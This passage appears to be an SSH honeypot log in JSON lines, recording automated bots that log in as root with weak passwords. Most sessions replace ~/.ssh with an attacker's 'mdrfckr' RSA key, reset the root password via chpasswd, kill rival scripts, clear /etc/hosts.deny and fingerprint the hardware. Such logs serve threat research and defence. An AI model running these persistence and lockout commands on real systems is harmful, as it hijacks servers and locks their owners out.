$2;}'"},{"seq":32,"at":"2026-08-27T11:48:02.906687+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"centreon","method":"password","accepted":true,"tier":"other"}]} {"id":"cc4aff71-36c6-4253-bb14-82644f66ca46","name":"snowy-airy-heron","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39684,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:36.791237+00:00","ended_at":"2026-08-27T11:45:38.839540+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:45:09.241198+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:09.504077+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:13.620474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:15.382239+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:15.650659+00:00","kind":"input","latency_ms":null,"data":"echo \"root:3ANJ0sqLGMJZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:45:15.927333+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:45:16.183687+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:17.442570+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:45:18.175367+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:45:18.440786+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:45:20.222302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:45:20.489819+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:45:21.952159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:45:22.220751+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:45:23.520799+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:45:23.786932+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:45:25.400451+00:00","kind":"output","latency_ms":null,"data":" 11:45:25 up 7 days, 8:35, 0 user, load average: 0.18, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:45:25.665220+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:45:26.749221+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:45:27.014100+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:45:27.854247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:45:28.120147+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:45:29.500718+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:29 up 7 days, 8:35, 0 user, load average: 0.18, 0.13, 0.16\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:45:29.764707+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:45:30.990633+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:45:31.255731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:45:33.302388+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:45:33.567605+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:45:35.413198+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:45:35.680002+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:45:36.527039+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:45:36.792190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:45:38.762593+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test2025!","method":"password","accepted":true,"tier":"other"}]} {"id":"b4cea9e1-3b11-4ff1-adaf-d947918878b5","name":"frank-foggy-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55802,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:25.825292+00:00","ended_at":"2026-08-27T11:45:27.889315+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:45:08.212519+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:08.503006+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:12.159583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:12.436579+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:12.731644+00:00","kind":"input","latency_ms":null,"data":"echo \"root:O1C3PcQApETn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:45:13.027614+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:45:13.320363+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:14.121565+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:45:14.415068+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:45:15.479225+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:45:15.770857+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:45:16.784132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:45:17.079160+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:45:17.955252+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:45:18.249461+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:45:18.518862+00:00","kind":"output","latency_ms":null,"data":" 11:45:18 up 7 days, 8:35, 0 user, load average: 0.11, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:45:18.812992+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:45:19.177930+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:45:19.473766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:45:20.300414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:45:20.593890+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:45:21.366877+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:21 up 7 days, 8:35, 0 user, load average: 0.11, 0.08, 0.08\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:45:21.662265+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:45:22.532542+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:45:22.830430+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:45:23.360763+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:45:23.654956+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:45:24.020002+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:45:24.314902+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:45:25.531899+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:45:25.826044+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:45:27.802804+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678aa","method":"password","accepted":true,"tier":"other"}]} {"id":"f0c3c9f2-c326-4b0e-aa47-ce9964411f8b","name":"tangled-gloomy-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51330,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:36.779184+00:00","ended_at":"2026-08-27T11:43:37.774544+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:43:13.291810+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:13.552826+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:17.389991+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:17.841858+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:18.105788+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bBKuUewXLdOm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:43:18.365465+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:43:18.626541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:19.085377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:19.345933+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:20.450517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:20.711397+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:21.917671+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:22.179684+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:22.449559+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:22.711489+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:23.097065+00:00","kind":"output","latency_ms":null,"data":" 11:43:23 up 7 days, 8:33, 0 user, load average: 0.14, 0.12, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:23.361691+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:25.540755+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:25.801959+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:27.802588+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:28.048789+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:28.538317+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:28 up 7 days, 8:33, 0 user, load average: 0.14, 0.12, 0.15\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:28.799228+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:29.855951+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:30.109708+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:32.216047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:32.479122+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:34.143887+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:43:34.405177+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:36.514764+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:36.779707+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:37.698883+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz@WSX#EDC","method":"password","accepted":true,"tier":"other"}]} {"id":"6d31d880-393f-40cb-bce0-572b4babfd4d","name":"jovial-distant-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":39682,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:19.708244+00:00","ended_at":"2026-08-27T11:43:21.106677+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T11:43:02.615562+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:02.906827+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:06.444757+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:06.995595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:07.286171+00:00","kind":"input","latency_ms":null,"data":"echo \"root:myo4JlUNERBF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:43:07.576177+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:43:07.865709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:08.145575+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:08.436023+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:09.747010+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:10.040662+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:11.247906+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:11.551237+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:12.250276+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:12.541620+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:12.881407+00:00","kind":"output","latency_ms":null,"data":" 11:43:12 up 7 days, 8:33, 0 user, load average: 0.32, 0.33, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:13.171635+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:13.690444+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:13.981477+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:14.706237+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:14.996552+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:15.513162+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:15 up 7 days, 8:33, 0 user, load average: 0.32, 0.33, 0.32\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:15.804777+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:16.452128+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:16.743130+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:17.165476+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:17.454875+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:17.844437+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:43:18.135093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:19.417162+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:19.708940+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:21.023167+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123asd","method":"password","accepted":true,"tier":"other"}]} {"id":"1427ae0c-299a-441f-be36-4cd1f2b5d923","name":"hazel-sandy-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59190,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":456,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:42:48.712893+00:00","ended_at":"2026-08-27T11:42:49.880090+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2291,"events":[{"seq":1,"at":"2026-08-27T11:42:27.635631+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:42:28.089342+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:42:31.827159+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:42:32.519613+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:42:32.971708+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lfOsLeNVHsml\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:42:33.425177+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 